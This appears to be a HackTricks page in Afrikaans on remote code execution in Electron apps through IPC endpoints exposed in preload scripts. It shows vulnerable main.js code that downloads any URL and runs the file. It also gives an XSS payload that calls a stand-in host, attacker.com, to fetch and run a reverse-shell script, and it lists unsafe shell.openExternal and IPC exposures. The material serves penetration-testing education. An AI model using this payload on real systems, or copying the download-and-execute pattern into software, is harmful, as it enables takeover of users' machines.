5.6 KiB
Electron contextIsolation RCE via IPC
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
As die preload-skrip 'n IPC-eindpunt blootstel vanaf die main.js-lêer, sal die renderer-proses daartoe toegang hê en as dit kwesbaar is, kan 'n RCE moontlik wees.
Die meeste van hierdie voorbeelde is geneem vanaf hier https://www.youtube.com/watch?v=xILfQGkLXQo. Kyk na die video vir verdere inligting.
Voorbeeld 0
Voorbeeld van https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (jy het die volledige voorbeeld van hoe MS Teams misbruik gemaak het vanaf XSS tot RCE in daardie dia's, hierdie is net 'n baie basiese voorbeeld):
![](/Mirrors/hacktricks/media/commit/a107721dbf2cd1159ad7353d201294212cc903e6/.gitbook/assets/image%20%286%29.png)
Voorbeeld 1
Kyk hoe die main.js
luister na getUpdate
en sal enige URL aflaai en uitvoer wat oorgedra word.
Kyk ook hoe preload.js
enige IPC-gebeurtenis vanaf die hoofprogram blootstel.
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});
mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)
item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})
item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
Uitbuiting:
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
Voorbeeld 2
Indien die preload-skrip direk aan die renderer 'n manier bied om shell.openExternal
aan te roep, is dit moontlik om RCE te verkry.
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
Voorbeeld 3
Indien die preload-skrip maniere blootstel om heeltemal met die hoofproses te kommunikeer, sal 'n XSS enige gebeurtenis kan stuur. Die impak hiervan hang af van wat die hoofproses blootstel in terme van IPC.
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.